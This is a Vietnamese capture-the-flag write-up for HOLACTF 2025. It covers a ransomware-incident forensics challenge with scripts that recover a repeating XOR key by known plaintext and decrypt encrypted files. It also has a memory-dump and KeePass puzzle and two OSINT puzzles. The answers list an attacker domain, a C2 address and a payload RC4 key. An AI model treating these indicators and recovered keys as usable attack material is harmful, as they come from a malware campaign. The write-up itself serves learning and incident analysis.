Ransomware mã hoá byte-wise theo công thức tổng quát E = P XOR G, trong đó G là keystream lặp chu kỳ 32 byte (đã bị “nắn” bởi hàm biến đổi nội bộ F).

Vì thế có ngay G = P XOR E. Không cần biết (hay đảo) F, chỉ cần keystream sau F là đủ để giải tất cả file khác (trong đó có flag.txt.ehc).

Tiếp tục dùng AI để gen script:  
```python!
# derive_xor_key.py
# usage: python derive_xor_key.py
# files expected in same dir:
#   - video.mp4
#   - xrYvsozYaitKuzsiktrX.EHC

import hashlib, os

ORIG = "video.mp4"
ENC  = "xrYvsozYaitKuzsiktrX.EHC"

# bytes to analyze (enough for robust period detect)
HEAD = 2_000_000  # 2 MB

def read_head(path, n):
    with open(path, "rb") as f:
        return f.read(n)

def derive_stream(P, E, model):
    if model == "plain":
        return bytes([e ^ p for p, e in zip(P, E)])
    elif model == "minus37":
        return bytes([e ^ ((p - 37) & 0xFF) for p, e in zip(P, E)])
    elif model == "plus37":
        return bytes([e ^ ((p + 37) & 0xFF) for p, e in zip(P, E)])
    else:
        raise ValueError("bad model")

def score_period(stream, L, sample_stride=997):
    """Return mismatch count when assuming period L (sampled for speed)."""
    mismatches = 0
    n = len(stream)
    if n == 0: return 0
    pat = stream[:L]
    # sample across the stream
    i = 0
    while i < n:
        if stream[i] != pat[i % L]:
            mismatches += 1
        i += sample_stride
    return mismatches

def find_best_period(stream, max_period=128):
    """Find smallest L with lowest mismatch score; returns (L, pattern, score)."""
    best = None
    for L in range(1, max_period + 1):
        s = score_period(stream, L)
        if best is None or (s, L) < (best[2], best[0]):
            best = (L, stream[:L], s)
            if s == 0:  # perfect periodic
                break
    return best  # (L, pat, score)

def hex_list(b):
    return ", ".join(f"0x{v:02x}" for v in b)

def main():
    P = read_head(ORIG, HEAD)
    E = read_head(ENC,  HEAD)
    n = min(len(P), len(E))
    P, E = P[:n], E[:n]
    if n == 0:
        print("[-] Input files are empty or not found.")
        return

    results = []
    for model in ("plain", "minus37", "plus37"):
        stream = derive_stream(P, E, model)
        L, pat, score = find_best_period(stream)
        results.append((score, L, pat, model))

    # choose by (fewest mismatches, then smallest period)
    results.sort(key=lambda t: (t[0], t[1]))
    score, L, key_pat, model = results[0]

    print(f"[+] Model chọn     : {model}")
    print(f"[+] Period (bytes) : {L}")
    print(f"[+] Mismatch score : {score}  (0 là hoàn hảo)")
    print(f"[+] Key (hex)      : {hex_list(key_pat)}")

    # save artifacts
    with open("key.bin", "wb") as f:
        f.write(key_pat)
    with open("key_hex.txt", "w", encoding="utf-8") as f:
        f.write(hex_list(key_pat) + "\n")
        f.write(f"model={model}, period={L}\n")

    print("[+] Đã lưu key vào key.bin và key_hex.txt")


if __name__ == "__main__":
    main()
```
![image](https://hackmd.io/_uploads/HJxaNfMqge.png)

Bây giờ đã có key thì mình trích hết các files bị mã hóa ở desktop để giải mã , tìm lại file flag.txt cần tìm:  
![image](https://hackmd.io/_uploads/rJcXBfzcxg.png)

```python!
# decrypt_folder_xor.py
# Giải mã toàn bộ *.EHC bằng XOR key (period 32) và đoán đuôi theo magic bytes.
# Usage:
#   python decrypt_folder_xor.py           # giải trong thư mục hiện tại
#   python decrypt_folder_xor.py path\to\dumped_files

import sys, os, hashlib, re
from pathlib import Path

# === KEY (period 32) bạn đã trích ===
KEY = bytes([
    0x55,0x3c,0x63,0x65,0x6d,0xcb,0xe8,0x61,
    0x28,0x14,0x07,0x89,0xff,0x5c,0x14,0x6e,
    0x12,0xbb,0x58,0x54,0xbc,0x9a,0x25,0x9a,
    0x94,0x71,0x89,0xa3,0x10,0x0f,0x2f,0xfa
])
KEYLEN = len(KEY)

OUT_ROOT = Path("decrypted_out")

MAGICS = [
    (b"\x00\x00\x00\x18ftyp", ".mp4"),  # some mp4
    (b"\x00\x00\x00\x14ftyp", ".mp4"),  # mp4 variant
    (b"ftyp", ".mp4"),                  # generic ftyp check (within first 16 bytes)
    (b"\x89PNG\r\n\x1a\n", ".png"),
    (b"\xff\xd8\xff", ".jpg"),
    (b"%PDF-", ".pdf"),
    (b"PK\x03\x04", ".zip"),           # docx/xlsx/pptx are ZIP-based; đuôi sẽ là .zip nếu không rõ
    (b"MZ", ".exe"),                   # exe/dll; không phân biệt được -> tạm .exe
]

FLAG_RE = re.compile(rb"HOLACTF\{[^}]{0,200}\}")

def guess_ext(plain_head: bytes) -> str:
    head = plain_head[:32]
    # strong matches first
    for sig, ext in MAGICS:
        if sig in head:
            return ext
    # try TXT if looks mostly printable
    textish = sum(32 <= b < 127 or b in (9,10,13) for b in plain_head[:512])
    if textish >= 0.90 * min(512, len(plain_head)):
        return ".txt"
    return ".bin"

def xor_stream_file(in_path: Path, out_path: Path):
    out_path.parent.mkdir(parents=True, exist_ok=True)
    md5 = hashlib.md5()
    flag_hits = []

    # đọc 64KB/chunk, giữ offset để lặp key đúng vị trí
    offset = 0
    with in_path.open("rb") as fi, out_path.open("wb") as fo:
        while True:
            chunk = fi.read(65536)
            if not chunk: break
            dec = bytes(b ^ KEY[(offset + i) % KEYLEN] for i, b in enumerate(chunk))
            fo.write(dec)
            md5.update(dec)
            # quét flag trong mỗi chunk (có thể cross-boundary nhưng đủ để phát hiện đa số trường hợp)
            m = FLAG_RE.search(dec)
            if m:
                try:
                    flag_hits.append(m.group().decode("utf-8"))
                except UnicodeDecodeError:
                    pass
            offset += len(chunk)
    return md5.hexdigest(), flag_hits

def peek_plain_head(in_path: Path, max_bytes=4096) -> bytes:
    # Giải mã nhanh phần đầu để đoán đuôi
    head = in_path.read_bytes()[:max_bytes]
    dec = bytes(b ^ KEY[i % KEYLEN] for i, b in enumerate(head))
    return dec

def main():
    root = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(".")
    if not root.exists():
        print(f"[-] Không thấy thư mục: {root}")
        sys.exit(1)

    targets = [p for p in root.rglob("*") if p.is_file() and p.suffix.lower() == ".ehc"]
    if not targets:
        print("[-] Không tìm thấy file .EHC nào. Đặt các file mã hoá vào thư mục rồi chạy lại.")
        sys.exit(0)

    print(f"[+] Tìm thấy {len(targets)} file .EHC. Bắt đầu giải vào: {OUT_ROOT.resolve()}")

    total_flag_hits = []
    for src in targets:
        # Đoán đuôi trước để đặt tên
        plain_head = peek_plain_head(src, 4096)
        ext = guess_ext(plain_head)

        rel = src.relative_to(root)
        base_name = src.stem  # bỏ .EHC
        dst = OUT_ROOT / rel.parent / f"{base_name}{ext}"

        md5, hits = xor_stream_file(src, dst)
        hit_note = ""
        if "flag" in base_name.lower():
            hit_note = "  <-- possible FLAG by name"
        if hits:
            hit_note = f"  <-- FLAG CONTENT FOUND: {hits[0]}"
            total_flag_hits.extend(hits)

        print(f"[OK] {src}  ->  {dst.name}  (md5:{md5}){hit_note}")

    if total_flag_hits:
        # Nếu thấy nhiều, in cái đầu
        print("\n[!] Phát hiện FLAG trong nội dung:")
        for s in total_flag_hits[:5]:
            s_clean = s.strip()
            md5_str = hashlib.md5(s_clean.encode()).hexdigest()
            print(f"    {s_clean}   |   MD5(content)={md5_str}")
        print("\n=> Lấy MD5(content) ở trên nộp Q9.")
    else:
        print("\n[i] Không tự động thấy 'HOLACTF{...}'. Nếu bạn biết file 'flag.txt.EHC', mở bản giải ở decrypted_out/ tương ứng rồi băm MD5 nội dung.")

if __name__ == "__main__":
    main()
```
![image](https://hackmd.io/_uploads/BJdBBGM5eg.png)
![image](https://hackmd.io/_uploads/BkDIHGMqgl.png)
![image](https://hackmd.io/_uploads/S1TvHff5gx.png)
![image](https://hackmd.io/_uploads/B1xKYHMG9xe.png)
> `0e2c58ea5f51647dc2f81a03b43b6580`

```bash!
      ___       __   __         ___    ___  __           __             __  ___  ___
|  | |__  |    /  ` /  \  |\/| |__      |  /  \    |__| /  \ |     /\  /  `  |  |__
|/\| |___ |___ \__, \__/  |  | |___     |  \__/    |  | \__/ |___ /~~\ \__,  |  |


=== FPTU Ethical Hackers Club ===

Q1: The user opened a software that contained malicious content from the attacker. What was the name of the software?
Ex: Skype
Ans: Thunderbird
Correct!

Q2: What is the name of the file that makes user fall into the attacker's trap?
Ex: example.js
Ans: diemchuan.html
Correct!

Q3: What MITRE ATT&CK techniques did the attacker use?
Ex: T1234.001
Ans: T1566.001
Correct!

Q4: What is the domain of the website where the malicious file for stage 2 is located?
Ex: mediafire.com
Ans: sakamoto.moe
Correct!

Q5: Digging into the malicious file, what was the original name of the encrypted file that was downloaded?
Ex: payload.enc
Ans: steam.enc
Correct!

Q6: What is the encryption algorithm and key to decrypt the encrypted payload? (Convert it to hex)
Ex: AES_0x1a,0x2b,0x3c,0x4d,...
Ans: RC4_0x3a,0x2d,0x1c,0x4d,0x5e,0x2f,0x7b,0x81,0x3d,0xab,0xbc,0xcd,0xde,0x2f,0xf0,0x01
Correct!

Q7: In stage 3, which C2 IP address is the user's network traffic transmit to?
Ex: 192.168.1.1
Ans: 192.168.244.129
Correct!

Q8: The attacker made a mistake, take advantage of it and tell us the name of files encrypted by attacker's ransomware in folder Videos ?
Ex: ehc.mp3
Ans: video.mp4
Correct!

Q9: What are the contents of the file flag.txt? (Convert the content of the flag.txt to md5 and submit)
Ex: 4a34decdd3494446ff0546364aa975b5
Ans: 0e2c58ea5f51647dc2f81a03b43b6580
Correct! Here is your flag:
HOLACTF{dung_8a0_G1O_c11Ck_vAo_Str4nG3_1lLE_nHe_4hUHu_7cf9548c805c}

```





---

### First step into forensics
![image](https://hackmd.io/_uploads/H1y-_ol5eg.png)

Cú pháp `strings - grep` luôn hữu dụng với anh em 4n6, author để hint rất lớn này, với đề bài author cho, ta có:  
![image](https://hackmd.io/_uploads/r1c833e5eg.png)
Mình nhìn thấy 3 file này, và với việc file zip không có pass giải, mình tự dựng được flow điều tra trong đầu là ntn:  
`pass cho file kdbx ở file dmp ~200mb => pass zip cho file zip dmp thứ 2 ở file kdbx => flag ở file dmp trong file zip`
Tuy nhiên thì với những file như này bản chất thì mình phải dùng windbg để tìm chỗ chứa pass, nhưng may mắn là author cho mình hint to rồi (strings-grep), vì vậy mình cứ thế ứng dụng vô:  
Luẩn quẩn 1 vòng xung quanh grep `.kdbx` thì mình cũng tìm được:  
![image](https://hackmd.io/_uploads/B1uI63x5ex.png)
> Pass kdbx: first_stage_of_this_chall

Tiếp tục mở file kdbx và tìm:  
![image](https://hackmd.io/_uploads/SkX963xcgg.png)
Ta được pass file zip và cuối cùng là strings grep với format flag thôi:  
![image](https://hackmd.io/_uploads/rJsgCnx9ex.png)
> Flag: HOLACTF{Oeocam_to_HolaCTF2025!!!!}



---


## OSINT

### EHC is my family
![image](https://hackmd.io/_uploads/HyJX_ie5gl.png)
Bài cho ảnh clb chụp ở giải Digital Dragon, tổ chức ở Đà Nẵng, dễ dàng ta tìm kiếm được đó là trường nào:  
> Flag: HOLACTF{truong_dai_hoc_cong_nghe_thong_tin_va_truyen_thong_viet_han}

---


### HolaCTF💕💕
![image](https://hackmd.io/_uploads/SJT7Oseqgl.png)
Bài cho mình 1 ảnh từ giải HOLACTF 2023, tìm lại bài đăng của page clb ở fb, mình thấy được cmt mới nhất của author:  
![image](https://hackmd.io/_uploads/HyqLnjg9lg.png)
Ta có được `ohepu://pbd.wysvtlyox.cqf/u/KTylGddAuMn/`, mình dùng Vigenere decode với key holactf (cái này mình đoán bừa ai ngờ trúng) có được:  
![image](https://hackmd.io/_uploads/ry9o2ig5el.png)

> https://www.instagram.com/p/DFnlEkyTgBn/
> ![image](https://hackmd.io/_uploads/ryQA3je5xe.png)
![image](https://hackmd.io/_uploads/Syze6sgceg.png)

Để ý ở góc dưới bên phải có đường link hiện vài giây sau đó ẩn, nhìn kỹ thì nhận ra được đó là:  
> https://anhshidou.github.io/
> ![image](https://hackmd.io/_uploads/rJf5pog9xx.png)
Tuy nhiên thì web không tương tác được, kiểm tra mã nguồn:  
```javascript!

<!DOCTYPE html>
<html> 
    <header>
         <div class = "header">
         <img src = "resources/thumb-1920-429845.png" alt = "image" width = "50%" height = "10%">
            </div>
        </header>
    <head>
        <title>Welcome</title>
        <link rel="stylesheet" type="text/css" href="style.css">
        <!-- Tôi đã để lại cái gì ở ctf.fumosquad-ehc.xyz? -->
    </head>
    <body>
        <h1>Không có gì</h1>
        <p><div class = label>Chao anh em, flag o day, chuc anh em thanh cong, hay tim dap an thong qua con web nay nhe (web sử dụng công nghệ HTML và CSS)</p></div>
        <div class = "login">
            <label for="username">Username:</label>
            <input type="text" id="username" name="username" required><br>
            <label for="password">Password:</label>
            <input type="password" id="password" name="password" required><br>
            <label for="flag">Flag:</label>
            <button type="submit">submit</button>
        </div>
    </body>
    <footer>
        <div class = "footer">
        <img src = "resources/thumb-1920-523621.jpg" alt = "image" width = "50%" height = "10%">
        </div>
    </footer>

</html>
```

Chú ý đến `Tôi đã để lại cái gì ở ctf.fumosquad-ehc.xyz?`, hỏi AI một hồi thì mình có được:  
![image](https://hackmd.io/_uploads/SyW-0se9ee.png)
![image](https://hackmd.io/_uploads/BJm7Coecxx.png)
> Flag: HOLACTF{t01_d4_c0_g4ng_r4_d3_r0i}

---








